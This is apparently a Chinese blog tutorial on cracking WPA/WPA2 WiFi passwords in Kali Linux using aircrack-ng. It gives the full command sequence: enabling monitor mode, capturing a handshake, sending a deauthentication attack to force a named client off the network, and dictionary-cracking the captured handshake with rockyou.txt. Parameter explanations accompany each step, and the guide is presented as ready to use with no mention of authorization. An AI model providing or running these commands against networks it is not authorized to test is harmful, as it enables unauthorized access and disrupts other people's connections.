WiFi密码破解（wpa/wpa2）

参考一篇很好的贴子：https://www.cnblogs.com/daoyi/p/Kali-Linux-shi-yongAircrack-po-jiewifi-mi-ma-wpawp.html

#前期准备

　　　　a.一张RT3070 USB无线网卡，或者其它可以监听的无线网卡

　　　　b.kali linux 系统

　　　　c.字典文件，kali里自带rockyou.txt.gz，使用前自行解压，位置在/user/share/wordlists/rockyou.txt.gz

（1）在虚拟机中打开kali linux后再插入USB 型无线网卡完成系统自动识别与安装

在终端执行

# airmon-ng

通过该命令可以查看到无线网卡信息，如果没有显示任何信息，可能是你的无线网卡不支持监听模式，意味着你不能继续以下的操作！

（2）开启无线网卡监听模式

#airmon start wlan0　

注意网卡接口改为wlan0mon

（3）搜索附近WIFI信息

　＃airodump-ng wlan0mon

参数解释：

BSSID：目标路由器或者无线热点的MAC地址

CH：频道

ESSID：目标路由器或者无线热点的名称

（４）抓取握手包

这是关键步骤，当我们强行让连接路由器的用户短线时，用户会重新再发送一个握手包（包含密码），也就是利用这一特性。

# airodump-ng -c 6 --bssid 54:B1:21:9F:33:99  -w ~/ wlan0mon

参数解释：

－ｃ：指定频道号

－－ｂｓｓｉｄ：指定路由器

－ｗ：指定抓取后的包保存位置

ｃｔｒｌ＋ｃ：停止抓包

打开新终端，并执行命令：

＃aireplay-ng -0 2 -a 54:B1:21:9F:33:99 -c D8:81:98:84:1B:10 wlan0mon

参数解释：

-0：表示发起deauthentication攻击

-a：指定无线路由器BSSID

-c：指定强制断开的设备

如果抓包成功就会如上图红框显示。

（５）开始破解密码

# aircrack-ng -a2 -b 54:B1:21:9F:33:99 -w /usr/share/wordlists/rockyou.txt ~/*.cap

参数解释：

-a2：代表WPA的握手包

-b：指定要破解的wifi BSSID。

-w：指定字典文件

　　最后是抓取的包（位置）

总结：该方法只能够破解弱口令，长而复杂的密码就无能为力了。